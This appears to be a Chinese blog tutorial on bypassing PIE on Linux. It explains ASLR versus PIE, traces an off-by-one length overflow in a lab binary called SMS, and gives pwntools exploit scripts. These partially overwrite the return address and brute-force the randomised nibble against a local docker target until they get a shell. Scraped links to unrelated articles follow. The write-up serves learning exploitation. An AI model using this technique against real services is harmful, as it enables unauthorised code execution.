linux漏洞分析入门笔记-bypass_PIE
ubuntu 16.04
IDA 7.0
docker
0x00:漏洞分析
1.ASLR的是操作系统的功能选项,作用于executable(ELF)装入内存运行时,因而只能随机化stack、heap、libraries的基址;而PIE(Position Independent Executables)是编译器(gcc,..)功能选项(-fPIE),作用于excutable编译过程,可将其理解为特殊的PIC(so专用,Position Independent Code),加了PIE选项编译出来的ELF用file命令查看会显示其为so,其随机化了ELF装载内存的基址(代码段、plt、got、data等共同的基址)。
ASLR早于PIE出现,所以有return-to-plt、got hijack、stack-pivot(bypass stack ransomize)等绕过ASLR的技术;而在ASLR+PIE之后,这些bypass技术就都失效了,只能借助其他的信息泄露漏洞泄露基址(常用libc基址)。
ASLR有0/1/2三种级别,其中0表示ASLR未开启,1表示随机化stack、libraries,2还会随机化heap。
2.查看目标程序属性与动态分析漏洞成因。
图1
图1中可以看到程序开启了PIE保护,每次加载的基址是不一样的,PIE的应用给使用ROP技术造成了很大的难度。
通过IDA动态调试目标程发现漏洞产生是如下地方:
图2
程序执行过程中在dosms函数中调用了set_user与set_sms函数,set_user读取最大长度为128字符的username,最后一字节做了set_sms中strncpy的大小,修改最后一个字节构长时造成溢出。
1.简单写一个rop来测试。
#! /usr/bin/python
from pwn import *
import pdb
context.log_level = 'debug'
target = process('./SMS')
elf=ELF('./SMS')
pdb.set_trace()
#poc
target.recv()
rop='A'*40#
rop+='\xca'# size
target.sendline(rop)
target.recv()
rop+='B'*159#
#rop+='\x01\xC9'# pass pie
rop+='C'*8#ret address
target.sendline(rop)
target.recv()
target.interactive()
图3
如图3所示返回地址被CCCCCCCC覆盖了,由于这个程序开启了PIE保护,我们不能确定frontdoor的具体地址,因此没办法直接通过溢出来跳转到frontdoor(),也不能通过got表来实现rop了。
0x01:爆破绕过PIE
1.libc每次加载基址会发生变化是ASLR。开启了PIE后的地址,和libc加载时一样,都是在一个内存页的单位上进行变化,即地址的低三位(4KB=0x1000)是不变化的,所以我们可以通过溢出只覆盖已有地址的低三位,(某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位)如果在最后一字节0-0xff空间内有可用的rop也可以只覆盖低两位也就是一个字节来控制流程,不过这样的机率太小了。
2.对比下发现每次随机的其实只有一个位是变化的,所以最多尝试16次就能成功爆破。
图5
图5
我们直接将返回地址修改成后门的地址。
图6
3.最终的poc如下:
#! /usr/bin/python
#coding:utf-8
from pwn import *
import pdb
context.log_level = 'debug'
elf=ELF('./SMS')
pdb.set_trace()
patcharr = ['\x01\x09','\x01\x19','\x01\x29','\x01\x39','\x01\x49','\x01\x59','\x01\x69','\x01\x79','\x01\x89','\x01\x99','\x01\xA9','\x01\xB9','\x01\xC9','\x01\xD9','\x01\xE9','\x01\xF9']
i = 0
while True:
print i
io = remote("172.17.0.2", 10001)
io.recv()
payload = 'A'*40 #padding
payload += '\xca' #size
io.sendline(payload)
io.recv()
payload = 'B'*200 #padding
payload += patcharr[6] # i frontdoor最多尝试16次
io.sendline(payload)
io.recv()
i += 1
try:
io.recv(timeout = 1)
except EOFError:
io.close()
print 'error......'
continue
else:
sleep(0.1)
print 'succ......'
io.sendline('/bin/sh\x00')
sleep(0.1)
io.interactive()
break
最后成功获得shell:
图7
0x02:总结
1.本是想通过修改最后一个字节来执行rop泄露内存地址,但是没有在0x00-0xFF内存空间中找到适合的rop。
linux漏洞分析入门笔记-bypass_PIE的更多相关文章
- Linux漏洞分析入门笔记-Off-By-One(栈)
ubuntu-16.04.5(X86) IDA7.0 0x00.漏洞描述 1.什么是off by one?又称1字节溢出. 源字符串长度等于目标缓冲区长度时,将源字符串复制到目标缓冲区可能会导致off ...
- Linux漏洞分析入门笔记-CVE-2015-0235
Ubuntu 12.04 32位 ida 7.0 0x00:漏洞描述 1.glibc的__nss_hostname_digits_dots存在缓冲区溢出漏洞,导致使用gethostbyname系列函数 ...
- Linux漏洞分析入门笔记-CVE_2018_6323_整型溢出
操作系统 Ubuntu 16.04 /32 位 调试器 IDA pro 7.0 漏洞软件 binutils-2.29.1 0x00: 漏洞描述 1.什么是整数溢出: 在计算机中,整数分 ...
- linux漏洞分析入门笔记-栈溢出
ida7.0 ubuntu16.04 lts 0x00:环境配置 使用IDA远程调试Linux程序步骤如下: 1. 在进行远程调试之前需要对Linux平台进行一些准备工作.在IDA的安装目录中的dbg ...
- Linux内核分析课程笔记(一)
linux内核分析课程笔记(一) 冯诺依曼体系结构 冯诺依曼体系结构实际上就是存储程序计算机. 从两个层面来讲: 从硬件的角度来看,冯诺依曼体系结构逻辑上可以抽象成CPU和内存,通过总线相连.CPU上 ...
- linux内核分析课程笔记(二)
运行一个精简的操作系统内核 存储程序计算机是几乎所有计算机的基础逻辑框架. 堆栈是计算机中非常基础的东西,在最早计算机没有高级语言时,在高级语言出现之前,我们没有函数的概念.但高级语言出现后有了函数调 ...
- Linux内核分析 读书笔记 (第十八章)
第十八章 调试 18.1 准备开始 1. 需要的只是: 一个bug 一个藏匿bug的内核版本 相关内核代码的知识和运气 2. 在跟踪bug的时候,掌握的信息越多越好. 18.2 内核中的bug 1. ...
- Linux内核分析 读书笔记 (第四章)
第四章 进程调度 调度程序负责决定将哪个进程投入运行,何时运行以及运行多长时间.进程调度程序可看做在可运行态进程之间分配有限的处理器时间资源的内核子系统.只有通过调度程序的合理调度,系统资源才能最大限 ...
- Linux内核分析 读书笔记 (第七章)
第七章 链接 1.链接是将各种代码和数据部分收集起来并组合成为一个单一文件的过程,这个文件可被加载(或被拷贝)到存储器并执行. 2.链接可以执行于编译时,也就是在源代码被翻译成机器代码时:也可以执行于 ...
随机推荐
- 3 hql语法及自定义函数(含array、map讲解) + hive的java api
本博文的主要内容如下: .hive的详细官方手册 .hive支持的数据类型 .Hive Shell .Hive工程所需依赖的jar包 .hive自定义函数 .分桶4 .附PPT hiv ...
- Vuex 使用了 module 后的访问方法 ..
如果 使用了 module 和 namespace state 数据:=> this.$store.state.User.info (user 是模块名字. info 是 state 里 ...
- clustalX2使用以及相关的问题
Clustalx的操作 第一步:输入序列文件. 第二步:设定比对的一些参数. 参数设定窗口. 第三步:开始序列比对. 第四步:比对完成,选择保存结果文件的格式 相关问题 CLUSTALX-是CLUST ...
- wzoi(栈模拟)
链接:https://ac.nowcoder.com/acm/contest/332/I 来源:牛客网 题目描述 bleaves 最近在 wzoi 上面做题. wzoi 的题目有两种,一种是 noip ...
- 栈 - 20 Valid Parentheses, 150 Evaluate Reverse Polish Notation
class Solution { public: bool isValid(string s) { stack<char> st; ; i<s.size(); i++){ if(s[ ...
- HDU 6356 (线段树-l,r 之间小于val 的变val+单点求值)
题目描述: 给你一个长度为n的最开始为0的数以及m个更新操作以及数据生成器参数X,Y,Z.每次操作,将由数据生成器生成出li,ri,vi.让你从区间[li,ri]中,将所有小于vi的数变为vi.最后让 ...
- 最小生成树----prim算法的堆优化
题目描述 如题,给出一个无向图,求出最小生成树,如果该图不连通,则输出orz 输入输出格式 输入格式: 第一行包含两个整数N.M,表示该图共有N个结点和M条无向边.(N<=5000,M<= ...
- [转] domeOS 环境搭建 自动化构建部署
[From]http://dockone.io:82/article/4150 系统:CentOS Linux 7A机子(domeos服务器):1. gitlab安装(私有仓库):yum -y ins ...
- ASP.NET Core文件上传、下载与删除
首先我们需要创建一个form表单如下: <form method="post" enctype="multipart/form-data" asp-con ...
- PIE SDK矢量数据的修改
1.功能简介 目前PIE SDK支持矢量数据的修改或删除,下面对矢量数据的投影转换功能进行介绍. 2.功能实现说明 2.1. 矢量数据的修改 2.2. 实现思路及原理说明 第一步 获取需要修改的矢量数 ...